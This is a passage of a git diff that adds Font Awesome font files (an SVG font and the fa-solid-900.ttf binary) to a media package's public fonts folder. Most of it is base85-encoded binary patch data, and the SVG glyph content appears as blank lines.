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

3G|%UO|%AX>y_DrlqHm5G}x0qqtuK)rJSvbj0n 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 + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/pkg/media/opus/public/fonts/fa-solid-900.ttf b/pkg/media/opus/public/fonts/fa-solid-900.ttf new file mode 100644 index 0000000000000000000000000000000000000000..5b979039ab28aaae305074541fe39258753ba624 GIT binary patch literal 202616 zcmeFadth8u)i=EMnai2WnKLt)Tke_3y-k`-bMJjfOGz)#AO#E55}?omMFUhQP;h{% z6;WF#P!%vBO4Wi@D;7itcH~$_v6@x$(-)TfW(A~< zqUu`s@4NECExpz*aTek`kUsk13$MJS>e2E-QvO&>WUK4_$Tgd{Ke+ooQvT9K6hBI6 zn^>V}pS)y;?E>%o5ppZYM)bP}Zby0Y-8gY{V!v{?cmZAqDVzg;oG&$zB2tnQNAbMd z440Aou)N73mcNK@ipoGPSjbcf=_j&^e_FPY4Z$nLr3gFCe2-88Z9|!4vzRHTy}Bz(Gs}7&Sg#fll=xvq?H7DMJnT;`W8J?{Hl_q zeB|>X59fC%iHYN~9K)|lH=+8J8P9HpB>ahNxKTI4IGv0mqaM?rCy-VFNPlYTo9oDg za~kPS%C|%GWb-9*aml79GkuB@=&y0qQ^bI@j*|eF@5toG+s43U=Y&Z&!UAR)gnmh9 z+KfJ9|2u#Q&ck^z1`}o(MtPV~O2UlGyk$CsB{5#ei+FFgOc^)v9?E$yg9qXbJn&{W z;?hQ42u~Vd;+Ji!7%=N3ncf&nb|bya%lT3hBbhp;zm4)453_F0%Yb|g=v$S6QWOEm zIQTsoF!E=^jeKT5iJqxt%DziZylcFTJhBdyn}b(A-1#V<>t@=^mtgu8yt8@OO;f zmt`jLPRTf*0=EQ?Lzs*=`^CsFY15$bteJ+n=cZZrLsdCPoJ zPCxOkV&+2__miYI4l~lqesXZVGEZ`1#4MNl7;A_zu9CN9(xi|!f&4s=lBS#Bo(5c= zEHh=iGkzn?Sf50nj5BaDaLb)v28|>*4bLkBP>(0m&a69W)`d8fFWZ^(p3=v%eJE2T z(2oFx-N-L`I1J^$E$NHjB!TIZl!OUngkubhIiJf<5GTvvcM6cq@x#q!%YN%K%E

